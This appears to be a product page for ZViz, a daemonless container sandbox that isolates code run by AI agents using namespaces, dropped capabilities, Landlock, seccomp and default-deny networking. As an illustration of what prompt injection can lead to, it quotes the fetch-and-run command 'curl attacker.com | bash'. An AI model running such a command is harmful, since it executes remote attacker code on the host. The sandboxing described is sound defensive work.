AI agent code execution
When an agent executes code it wrote from a model's output, the code is untrusted by definition. ZViz gives each execution a fresh namespace, zero capabilities, a Landlock ruleset, and a default-deny network posture — so curl attacker.com | bash fails at step one.
The problem
An AI agent that can execute code is running code it did not write and cannot fully vet. The code is a
function of the model’s output, which is in turn a function of a prompt that may be adversarial. One prompt
injection can turn a helpful “run this snippet” into curl attacker.com | bash.
Treating that code as trusted — running it in a normal container, or worse, directly on the host — means the first successful injection is also the last line of defence.
How ZViz helps
ZViz assumes the code inside the container is the adversary. Each execution gets:
- A fresh user, pid, mount, ipc, and uts namespace — the code sees only its own world.
- All 41 Linux capabilities dropped — no
CAP_SYS_ADMIN, noCAP_NET_RAW. - A Landlock ruleset constraining filesystem access to what you allow.
- A default-deny network posture — egress requires an explicit allowance.
- A selective-denial seccomp filter —
ptrace,mount,unshare,init_module, and the rest of the dangerous set returnEPERMbefore the kernel sees them.
The exploit that works against a permissive container fails at the kernel boundary here. And because ZViz has no daemon, you can give each tool call its own container and discard it afterward.
When to reach for something else
If your agent legitimately needs ptrace, mount, or nested containers inside the sandbox, use
gVisor instead — it emulates those safely. If you need a hardware-virtualized boundary,
consider a MicroVM. For most agent code-execution paths, ZViz is the smaller, faster fit.
Frequently Asked Questions
Why not just run the agent's code in a normal container?
A plain runc container keeps ~14 capabilities, a large syscall surface, and open network egress by default. For code an LLM generated from an untrusted prompt, that surface is the exploit's playground. ZViz drops every capability, denies dangerous syscalls, and defaults network to deny.
Can each tool call get its own sandbox?
Yes. ZViz is a single static binary with no daemon, so you can spawn a fresh container per execution and tear it down after. That per-request ephemerality is a good fit for agent tool calls.
Related
CI sandboxing
Run builds on opaque dependency trees with a smaller kernel attack surface than plain runc.
Use caseCode-execution platforms
Back notebooks, REPLs, and "run this snippet" products with a runtime that assumes every submission is hostile.
Use casePer-request ephemeral isolation
Spin up a fresh sandbox per request and tear it down, with no daemon in the way.